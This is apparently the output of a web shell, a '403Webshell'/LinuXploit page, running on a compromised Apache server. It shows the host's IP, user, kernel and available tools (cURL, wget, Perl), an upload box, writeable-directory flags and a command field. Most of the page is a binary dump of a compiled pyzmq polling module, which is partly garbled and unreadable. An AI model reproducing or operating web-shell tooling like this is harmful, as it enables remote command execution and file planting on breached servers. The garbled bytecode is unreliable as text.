403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/zmq/sugar/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/zmq/sugar/__pycache__/poll.cpython-311.pyc
�

mc�c]�
��dZddlmZmZmZmZmZddlmZddl	m
Z
mZmZGd�d��Z
dded	ed
edeefd�Zdd
gZdS)z*0MQ polling related functions and classes.�)�Any�Dict�List�Optional�Tuple)�zmq_poll)�POLLERR�POLLIN�POLLOUTc���eZdZUdZeeeefed<e	ed<dd�Z
dedefd�Ze
ezfded	efd
�Ze
ezfd�Zdefd�Zdd
eedeeeeffd�ZdS)�Pollerz>A stateful poll interface that mirrors Python's built-in poll.�sockets�_map�returnNc�"�g|_i|_dS�N)rr)�selfs �0/usr/lib/python3/dist-packages/zmq/sugar/poll.py�__init__zPoller.__init__s�������	�	�	��socketc��||jvSr)r)rrs  r�__contains__zPoller.__contains__s�����"�"r�flagsc�
�|r`||jvr|j|}||f|j|<dSt|j��}|j�||f��||j|<dS||jvr|�|��dSdS)ap.register(socket, flags=POLLIN|POLLOUT)

        Register a 0MQ socket or native fd for I/O monitoring.

        register(s,0) is equivalent to unregister(s).

        Parameters
        ----------
        socket : zmq.Socket or native socket
            A zmq.Socket or any Python object having a ``fileno()``
            method that returns a valid file descriptor.
        flags : int
            The events to watch for.  Can be POLLIN, POLLOUT or POLLIN|POLLOUT.
            If `flags=0`, socket will be unregistered.
        N)rr�len�append�
unregister)rrr�idxs    r�registerzPoller.registers��� �
	����"�"��i��'��%+�U�O���S�!�!�!��$�,�'�'����#�#�V�U�O�4�4�4�$'��	�&�!�!�!�
�t�y�
 �
 ��O�O�F�#�#�#�#�#�
�Drc�2�|�||��dS)zCModify the flags for an already registered 0MQ socket or native fd.N)r )rrrs   r�modifyz
Poller.modify<s���
�
�f�e�$�$�$�$�$rc���|j�|��}|j�|��|j|d�D]\}}|j|xxdzcc<�dS)z�Remove a 0MQ socket or native fd for I/O monitoring.

        Parameters
        ----------
        socket : Socket
            The socket instance to stop polling.
        N�)r�popr)rrrrs    rrzPoller.unregister@sv���i�m�m�F�#�#����������!�\�#�$�$�/�	#�	#�M�F�E��I�f�����"�����	#�	#r�timeoutc��|�|dkrd}n$t|t��rt|��}t|j|���S)a�Poll the registered 0MQ or native fds for I/O.

        If there are currently events ready to be processed, this function will return immediately.
        Otherwise, this function will return as soon the first event is available or after timeout
        milliseconds have elapsed.

        Parameters
        ----------
        timeout : int
            The timeout in milliseconds. If None, no `timeout` (infinite). This
            is in milliseconds to be compatible with ``select.poll()``.

        Returns
        -------
        events : list of tuples
            The list of events that are ready to be processed.
            This is a list of tuples of the form ``(socket, event_mask)``, where the 0MQ Socket
            or integer fd is the first element, and the poll event mask (POLLIN, POLLOUT) is the second.
            It is common to call ``events = dict(poller.poll())``,
            which turns the list of tuples into a mapping of ``socket : event_mask``.
        Nr���)r&)�
isinstance�float�intrr)rr&s  r�pollzPoller.pollNsJ��,�?�g��k�k��G�G�
���
'�
'�	#��'�l�l�G����g�6�6�6�6r)rNr)�__name__�
__module__�__qualname__�__doc__rrrr+�__annotations__rr�boolrr
rr r"rrr,�rrr
r
s�������H�H�
�%��S��/�
"�"�"�"�
�J�J�J�����#�3�#�4�#�#�#�#�28�'�1A���s��3�����>$*�G�#3�%�%�%�%�#��#�#�#�#�7�7�H�S�M�7�T�%��S��/�5J�7�7�7�7�7�7rr
N�rlist�wlist�xlistr&c��|�d}t|dz��}|dkrd}g}t||z|z��D]E}d}||vr
|tz}||vr
|tz}||vr
|tz}|�||f���Ft
||��}ggg}}}|D]b\}}|tzr|�|��|tzr|�|��|tzr|�|���c|||fS)aXselect(rlist, wlist, xlist, timeout=None) -> (rlist, wlist, xlist)

    Return the result of poll as a lists of sockets ready for r/w/exception.

    This has the same interface as Python's built-in ``select.select()`` function.

    Parameters
    ----------
    timeout : float, int, optional
        The timeout in seconds. If None, no timeout (infinite). This is in seconds to be
        compatible with ``select.select()``.
    rlist : list of sockets/FDs
        sockets/FDs to be polled for read events
    wlist : list of sockets/FDs
        sockets/FDs to be polled for write events
    xlist : list of sockets/FDs
        sockets/FDs to be polled for error events

    Returns
    -------
    (rlist, wlist, xlist) : tuple of lists of sockets (length 3)
        Lists correspond to sockets available for read/write/error events respectively.
    Nr(g@�@r)r+�setr
rr	rr)r4r5r6r&r�sr�return_socketss        r�selectr;ks9��0�����'�F�"�#�#�G���{�{����G�
�����&�
'�
'�#�#������:�:��V�O�E���:�:��W��E���:�:��W��E�����5�z�"�"�"�"��g�w�/�/�N��b�"�%�5�E�"�����5��6�>�	��L�L��O�O�O��7�?�	��L�L��O�O�O��7�?�	��L�L��O�O�O���%���rr;r)r0�typingrrrrr�zmq.backendr�
zmq.constantsr	r
rr
r*r;�__all__r3rr�<module>r@s���0�0�
4�3�3�3�3�3�3�3�3�3�3�3�3�3� � � � � � �2�2�2�2�2�2�2�2�2�2�X7�X7�X7�X7�X7�X7�X7�X7�v2�2�$�2�t�2�D�2�8�E�?�2�2�2�2�r�X�
���r

Youez - 2016 - github.com/yon3zu
LinuXploit